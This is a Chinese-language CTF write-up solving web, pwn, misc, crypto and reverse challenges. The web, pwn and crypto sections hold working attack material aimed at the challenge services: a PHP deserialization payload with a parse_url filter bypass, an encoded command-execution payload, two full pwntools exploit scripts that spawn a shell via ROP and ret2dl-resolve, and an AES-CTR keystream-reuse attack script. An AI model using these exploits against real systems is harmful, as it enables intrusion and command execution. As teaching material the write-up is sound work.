Web

justsoso

打开页面,扫目录 发现有

index.php

hint.php

flag.php

TIM截图20190420151236.png

查看源码

TIM截图20190420151843.png

需要拿到 源码。但是hint的后台代码拿不到

然后用php伪协议 path=php://filter/read=convert.base-encode/resource=xxx.php

任意文件读取 获取 hint.php 和index.php的源码

hint.php源码如下

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
    foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
  public function __construct($handle) { 
        $this->handle = $handle; 
         echo "222\n";
    } 
  public function __destruct(){
    $this->handle->getFlag();
         echo "destruct\n";
  }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
    $this->file = $file;
    $this->token_flag = $this->token = md5(rand(1,10000));
    }

  public function getFlag(){
    $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
    {
      if(isset($this->file)){
        echo @highlight_file($this->file,true); 
            }  
        }
    }
}

源码分析:

该源码应用到反序列化,

首先分析Flag类

类中有一个构造函数 和一个getFlag函数

getFlag 函数:

先对token_flag变量赋予随机(1,10000)的md5值

然后对比token和token_flag是否相同

相同则查看 file是否存在 存在则 打印文件内容

构造函数:

获取file文件路径

赋予token_flag和token相同的md5值

分析后发现我们想要使用getFlag则需要使token完全等于token_flag

因此要使用 反序列化 引用 即 $b->token=&$b->token_flag;

$b = new Flag();

$b->file=”phpinfo.php”;

$b->token=&$b->token_flag;

$b->getFlag();

分析Handle类:

这个类有 一个wakeup函数 一个构造函数 一个destruct函数

wakeup函数需要在反序列化的时候进行绕过

构造函数 需要传入参数 参数值为Flag类的序列化

distruct函数 即调用getFlag函数

$a = new Handle(unserialize(‘O:4:”Flag”:3:{s:4:”file”;s:11:”phpinfo.php”;s:5:”token”;s:32:”6084e82a08cb979cf75ae28aed37ecd4″;s:10:”token_flag”;R:3;}’));

$b = new Flag();

$b->file=”phpinfo.php”;

$b->token=&$b->token_flag;

echo(serialize($a));

得到一个序列化队列

O:6:”Handle”:1:{s:14:”Handlehandle”;O:3:”Flag”:4:{s:4:”file”;s:11:”phpinfo.php”;s:5:”token”;s:32:”6084e82a08cb979cf75ae28aed37ecd4″;s:10:”token_flag”;R:4;}}

由于 handle变量为私有属性 因此需要绕过

又需要绕过wakeup函数

因此修改序列化队列

O:6:”Handle”:1:{s:14:”%00Handle%00handle”;O:4:”Flag”:4:{s:4:”file”;s:11:”phpinfo.php”;s:5:”token”;s:32:”6084e82a08cb979cf75ae28aed37ecd4″;s:10:”token_flag”;R:4;}}

参考文章

hint.php的源码审计告一段落

接下来分析index.php源码

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
  echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
  die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
          die('stop hacking!');
          exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

源码中有两段正则查询

preg_match(“/flag/”,$file)

preg_match(“/flag/”,$value)

第一段是对url中的file变量查询是否存在flag字符

第二段是对url中的query查询是否存在flag字符

因为上边将query 给value赋值

第一段直接使用 file=hint.php

第二段需要用到parse_url函数的漏洞

因此payload:

index.php?file=hint.php&payload=O:6:”Handle”:1:{s:14:”%00Handle%00handle”;O:4:”Flag”:4:{s:4:”file”;s:11:”phpinfo.php”;s:5:”token”;s:32:”6084e82a08cb979cf75ae28aed37ecd4″;s:10:”token_flag”;R:4;}} destruct

需要在index.php前使用双斜杠 来达成相对路径 将 path值向上传递给host,并且query值传给path 因此可以绕过第二段正则,

TIM截图20190420150714.png

得到flag

love_math

很棒的一道题,话说感觉今年web题起码都挺有意思的。题目质量很棒!

拿到题目,看到计算,立马可以想到是一道rce,本来以为是盲打的。然后队友告诉有源码,才看到calc.php在没有输入的情况下,会爆出源码:

img

分析后可以发现,出题人进行了严格的过滤。此时只能满足基本都运算以及白名单内函数运算。

一开始看到有进制转换的函数,于是找到了,dechex() 。想到通过进制转换变为字符,然后异或,拼接处shell。直到看到小于80字符,发现完全不可能,字符量太大。

转而寻找其他思路。然后发现自己好傻。明明有一个可以直接输出字符的函数base_convert()。

在这里,可以直接构造36进制,此时我们就可以有0-9a-z的任意字符,开开心心构造rce。

// 1751504350 system
// 784 ls
base_convert(1751504350,10,36)(base_convert(784,10,36))

img

然而,to young to nalive.

开开心心读flag的时候,突然发现,我的空格被谁吃了?不对,不应该这么说,应该是,空格,你在哪,我想你了。

对,空格无论如何也出不来。陷入僵局。

然后经过无数次想砸电脑、最终想到,hex2bin.这个函数可以将16进制转为任意字符。也就是ascii码转换,此时我们多重编码一次,通过这个来实现payload。

// 37907361743 hex2bin
// 426836762666 636174202a cat *
// cat *
base_convert(25071743913,10,36)(dechex(426836762666))
// 拼一下
// system("cat *")
base_convert(1751504350,10,36)(base_convert(37907361743,10,36)(dechex(426836762666)))
// 然而..

img

好吧,字符超了…

此时开始了苦逼的优化之旅。

首先,先把system换了,改exec。

然后,cat换nl。

此时由于exec的特性。我们还得修改一下payload。最终payload

// exec("nl f*")
// 696468 exec
// 37907361743 hex2bin
// 474260465194 6e6c20662a nl f*
base_convert(696468,10,36)(base_convert(37907361743,10,36)(dechex(474260465194)))

然而…

一查数81..

心态真的炸了..

但是,含着泪也要做下去…

再仔细看,10进制两位数,9进制一位数,此时把十进制转换,全变为9进制,岂不是美滋滋少俩数。

// exec("nl f*")
// 1271333 exec
// 117754344425 hex2bin
// 474260465194 6e6c20662a nl f*

base_convert(1271333,9,36)(base_convert(117754344425,9,36)(dechex(474260465194)))
// 此时因为hex2bin 9进制的话造成了数据多了一位,我们可以根据hex2bin的样子,来对后面36进行缩减,此时可以缩减为34
// 76478043844 hex2bin

base_convert(1271333,9,36)(base_convert(76478043844,9,34)(dechex(474260465194)))

然而…

想骂街了…

竟然是80….

还是差一位….

exec即便优化到34也没用..

此时真的是没法在优化了,看到还有半个多小时结束。想着要不还是洗洗睡吧。

灵光一闪,会不会存在某种进制转换下,也全是数字的情况?

for ($y=36; $y>=34; $y--) {
  for ($x=1; $x<=$y; $x++) {
    $c = base_convert("exec",$y,$x);
    if(strlen($c) < 7){
      echo "base_convert(\"exec\",$y,$x)";
      echo $c."\n";
    }
  }
}

分析一波

img

5位,美滋滋

// exec("nl f*")
// 47138 exec
// 71637815856 bin2hex
// 474260465194 6e6c20662a nl f*
base_convert(47138,20,36)(base_convert(76478043844,9,34)(dechex(474260465194)))

img

Pwn

your_pwn

查保护,发现是64位全保护程序

mark

分析程序

mark

发现没有对v1的值做控制,于是我们可以借助v4作为基指针访问整个内存的数据(有权限内存除外),并且借助

mark

做到任意地址读写,并且注意到因为可以精确覆写rbp及返回地址,于是Canary保护其实是失效的,于是考虑首先泄露程序入口地址(PIE保护)和libc基址,检查栈

mark

发现这里可以直接读出栈地址和程序入口点,于是直接泄露libc基址,于是就可以构造ROP并利用

于是EXP如下:

from pwn import *
import sys
context.log_level='debug'

def check(str1):
    a=""
    i=0
    while i<len(str1):
        if(str1[i]=="f" and i+1<len(str1) and str1[i+1]=="f"):
            i+=2
            continue
        a+=str1[i]
        i+=1
    return a

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./pwn")

PIE_addr=""
libc_base=""
sh.recvuntil("input your name \nname:")
sh.sendline("ERROR404")
# for i in range(624,632):
#     sh.recvuntil("input index")
#     sh.sendline(str(i))
#     sh.recvuntil("input new value")
#     sh.sendline('54')
for i in range(8):
    sh.recvuntil("input index")
    sh.sendline(str(624+i))
    sh.recvuntil("now value(hex) ")
    temp=check(sh.recvuntil('\n').strip('\n'))
    PIE_addr = temp + PIE_addr
    sh.recvuntil("input new value")
    sh.sendline(str(int(temp,16)))
PIE_addr=PIE_addr[0:11]
PIE_addr+='000'
log.success("We leak PIE addr is "+str(hex(int(PIE_addr,16))))
PIE_address=int(PIE_addr,16)
rdi_ret=PIE_address+0xd03
main_addr=PIE_address+0xb35
for i in range(8):
    sh.recvuntil("input index")
    sh.sendline(str(632+i))
    sh.recvuntil("now value(hex) ")
    temp=check(sh.recvuntil('\n').strip('\n'))
    libc_base = temp + libc_base
    sh.recvuntil("input new value")
    sh.sendline(str(int(temp,16)))
libc_base=int(libc_base,16)-0x20830
log.success("We leak libc base is "+str(hex(libc_base)))
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh').next()
payload=p64(rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(main_addr)
for i in range(25):
    sh.recvuntil("input index")
    sh.sendline(str(1))
    sh.recvuntil("input new value")
    sh.sendline(str(1))
sh.recvuntil("do you want continue(yes/no)? ")
sh.send("yes")
for i in range(len(payload)):
    sh.recvuntil("input index")
    sh.sendline(str(344+i))
    sh.recvuntil("input new value")
    sh.sendline(str(ord(payload[i])))
for i in range(41-len(payload)):
    sh.recvuntil("input index")
    sh.sendline(str(1))
    sh.recvuntil("input new value")
    sh.sendline(str(1))
sh.recvuntil("do you want continue(yes/no)? ")
sh.send("no")
sh.interactive()
print(sh.recv())

baby_pwn

查保护,仅开启NX保护的32位程序

mark

分析程序逻辑,逻辑非常简单

mark

但是发现本程序中没有输出函数

mark

于是想到使用ret2dl-resolve,于是借助roputils(话说这个包我也安了好久QwQ)

EXP如下:

#!/usr/bin/env python
#coding:utf-8
import sys
import roputils
from pwn import *

pwn_file = ELF('./pwn')
offset = 0x2c
readplt = pwn_file.plt['read']
bss = 0x0804a040
vulFunc = 0x0804852D

if args['REMOTE']:
    p = remote(sys.argv[1], sys.argv[2])
else:
    p = process("./pwn")

def getReloc(elf, base):
    jmprel = elf.dynamic('JMPREL')
    relent = elf.dynamic('RELENT')
    addr_reloc, padlen_reloc = elf.align(base, jmprel, relent)
    reloc_offset = addr_reloc - jmprel
    return reloc_offset

rop = roputils.ROP('./pwn')
addr_bss = rop.section('.bss')

# step1 : write sh & resolve struct to bss
buf1 = 'A' * offset 
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)

buf2 =  rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss+20, 'system') 
buf2 += rop.fill(100, buf2)
p.send(buf2)

buf3 = 'A'*0x2c + rop.dl_resolve_call(addr_bss+20, addr_bss) 
p.send(buf3)

p.interactive()

Misc

签到

“献祭”了三个小朋友的人脸就得到了一枚热腾腾的flag呢~

24c

根据提示,先搜索资料。发现24c是一种常见的EEPROM链接)。

Saleae Logic打开logicdata文件,看到一组双通道电平数据。由于先前的24c提示,推测是使用I2C进行元件读写,尝试用I2C对电平数据进行解码。得到以下内容:

Time [s], Analyzer Name, Decoded Protocol Result
0.843705500000000,I2C,Setup Write to [0xA0] + ACK
0.843872000000000,I2C,0x20 + ACK
0.844038500000000,I2C,0x66 + ACK
0.844205000000000,I2C,0x31 + ACK
0.844371000000000,I2C,0x36 + ACK
0.844537500000000,I2C,0x33 + ACK
0.844704000000000,I2C,0x62 + ACK
0.844870500000000,I2C,0x64 + ACK
0.845036500000000,I2C,0x66 + ACK
0.845203000000000,I2C,0x34 + ACK
0.845369500000000,I2C,0x65 + ACK
0.845536000000000,I2C,0x7D + ACK
0.845702500000000,I2C,0x00 + ACK
0.945796000000000,I2C,Setup Write to [0xA0] + ACK
0.945962500000000,I2C,0x00 + ACK
0.946154000000000,I2C,Setup Read to [0xA1] + ACK
0.946318000000000,I2C,0x66 + ACK
0.946481500000000,I2C,0x6C + ACK
0.946645000000000,I2C,0x61 + ACK
0.946808500000000,I2C,0x67 + ACK
0.946972000000000,I2C,0x7B + ACK
0.947135500000000,I2C,0x63 + ACK
0.947299500000000,I2C,0x34 + ACK
0.947463000000000,I2C,0x36 + ACK
0.947626500000000,I2C,0x64 + ACK
0.947790000000000,I2C,0x39 + ACK
0.947953500000000,I2C,0x65 + ACK
0.948117500000000,I2C,0x31 + ACK
0.948281000000000,I2C,0x30 + ACK
0.948444500000000,I2C,0x2D + ACK
0.948608000000000,I2C,0x65 + ACK
0.948771500000000,I2C,0x39 + ACK
0.948935500000000,I2C,0x62 + ACK
0.949099000000000,I2C,0x35 + ACK
0.949262500000000,I2C,0x2D + ACK
0.949426000000000,I2C,0x34 + ACK
0.949589500000000,I2C,0x64 + ACK
0.949753000000000,I2C,0x39 + ACK
0.949917000000000,I2C,0x30 + ACK
0.950080500000000,I2C,0x2D + ACK
0.950244000000000,I2C,0x61 + ACK
0.950407500000000,I2C,0x38 + ACK
0.950571000000000,I2C,0x38 + ACK
0.950734500000000,I2C,0x33 + ACK
0.950898000000000,I2C,0x2D + ACK
0.951061500000000,I2C,0x34 + ACK
0.951225000000000,I2C,0x31 + ACK
0.951388500000000,I2C,0x63 + NAK
5.946480500000000,I2C,Setup Write to [0xA0] + ACK
5.946647000000000,I2C,0x09 + ACK
5.946813500000000,I2C,0x61 + ACK
5.946980000000000,I2C,0x63 + ACK

根据24c元件的写规则,不难想到这里是将flag连续地写在了EEPROM中,其中每个Write命令后的第一个字节用于指定偏移,后面的数据就是ASCII下的字符。拼接出以下部分

0x20 : cf163bdf4e}
0x00 : flag{c46d9e10-e9b5-4d90-a883-41
0x09 : ac

模拟写入过程,即可得到flag

saleae

首先下载题目发现是个saleae.logicdata

根据百度资料发现了Saleae Logic 1.2.17这个软件

因为题干提到了U盘,不难想到SPI这个分析

SPI是串行外设接口(Serial Peripheral Interface)

用来分析U盘传输数据流

img

发现只有Channel 0Channel 2有可疑数据,使用SPI分析,这是MOSIMISOchannel 1channel 2,输出为ASCII模式,发现字符

img

即可得flag

usbasp

题干还是U盘(SPI是串行外设接口),仍然使用SPI进行分析,输出为ASCII,在最下面发现了类似字符的地方,寻找一番发现flag字样

img

Crypto

puzzles

question 0:使用四元一次方程组计算器可得a1a2a3a4

图片.png

question1:大素数表如下

图片.png

question2、3、4:手算结果如下

图片.png

拼接即为flag

warmup

分析题目可知,本题使用了AES-CTR加密,在CTR模式下,加密模式会被转换为类似OTP加密的模式,仔细分析脚本,发现每次加密,计数器的prefix、suffix都是相同的

mark

也就是不安全的重用了密码本,因为AES-CTR的加密模式可简化为

mark

所以存在以下关系

P1=C1^K
P2=C2^K

那么

P1^P2=C1^K^C2^K=C1^C2

又发现加密时是以十六位为一个分组,于是想到如果输入

AAAAAAAAAAAAAAAB

那么flag必然会被拼接到后面

AAAAAAAAAAAAAAABflag...

那么加密后窝们可以得到B的密文,接下来输入

AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAflag... //拼接后
AAAAAAAAAAAAAAABflag...//与第一次做比较

于是窝们可以得到明文'B',明文'B'的密文C_1,未知明文_1(其实是'f')的密文C_2

未知明文='B'^C_1^C_2

计算后得到'f',接下来可以借助明文'f',明文'f'的密文C_1,未知明文_2(其实是'l')的密文C_2

进而推算整个未知明文

EXP如下

from pwn import *
sh=remote('fc32f84bc46ac22d97e5f876e3100922.kr-lab.com',12345)
result_1=0
result_2=0
char_temp='A'
flag=""
for i in range(0,42):
    sh.recvuntil('plaintext>')
    payload='A'*(48-i)
    sh.sendline(payload)
    sh.recvuntil('result>')
    result_1=int(sh.recvline()[94:96],16)
    sh.recvuntil('plaintext>')
    payload='A'*(48-i-1)
    sh.sendline(payload)
    sh.recvuntil('result>')
    result_2=int(sh.recvline()[94:96],16)
    char_temp = chr(result_1^result_2^ord(char_temp))
    flag += char_temp
    print(flag)

Reverse

easyGo

查看文件格式,是ELF文件,放进虚拟机运行试一试

img

IDA打开,根据题干猜测这是Golang语言去符号化逆向题目,首先需要考虑符号表修复

https://github.com/sibears/IDAGolangHelper

需要加载该py插件,使用方法:用File->Script File加载脚本文件,选Rename Function

img

Golang的主程序为main_mainF5反编译,发现最后有一个if分开输出两个结果,在此下一个断点

img

再使用IDA动态调试虚拟机中ELF文件,

img

动调时,配合伪C代码感觉寄存器有点不对,查看寄存器,在RDX中发现flag

img

提取flag{92094daf-33c9-431e-a85a-8bfbd5df98ad},提交通过

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注